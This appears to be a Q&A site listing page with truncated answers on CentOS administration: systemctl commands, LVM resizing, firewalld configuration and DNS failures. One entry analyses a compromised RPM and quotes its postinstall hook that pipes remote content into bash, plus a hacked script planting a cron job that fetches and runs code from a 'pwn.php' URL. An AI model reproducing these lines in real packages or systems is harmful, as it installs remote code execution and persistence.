Systemctl: find out which commands are applicable for a service

systemctl is not like the good old init-scripts. According to its man page, it supports the following commands that are like the init-script commands you are searching for: start Start (activate) one or more units specified on the command line. stop Stop (deactivate) one or more units specified on the command line. reload Asks all … Read more

How to move disk space from centos-home to centos-root

You can reduce your home LV as long as it’s unmounted. (please keep in mind that shrinking has some risks ) Go like this: umount /dev/mapper/centos-home lvreduce -L 200G /dev/mapper/centos-home Mount back your home partition as you’re done with it. Then just extend your root volume. lvextend -t -r -l+100%FREE /dev/mapper/centos-root -t is test, if … Read more

Is there a simple way to export/import firewalld settings?

Firewalld stores its configuration in /etc/firewalld and within that directory you can find various configuration files: firewalld.conf provides overall configuration. Files in the zones directory provide your custom firewall rules for each zone. Files in the services directory provide custom services you have defined. Files in the icmptypes directory provide custom icmptypes you have defined. … Read more

How did installing this RPM create a file?

# rpm -qp –scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY postinstall scriptlet (using /bin/sh): curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1 https://www.getpagespeed.com/SCM/release-post-install.php contains: #!/bin/bash ### hacked by rpowned # bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1 echo ’53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | … Read more

Could not resolve host: mirrorlist.centos.org Centos 7

Could not resolve host: mirrorlist.centos.org; Unknown error This indicates that you either (a) don’t have a properly configured DNS server or (b) your network configuration isn’t correct and you can’t connect to a DNS server to check the hostname mirrorlist.centos.org. Try using ping 8.8.8.8. If this fails, try ping <local-gateway-ip>. If that also fails, your … Read more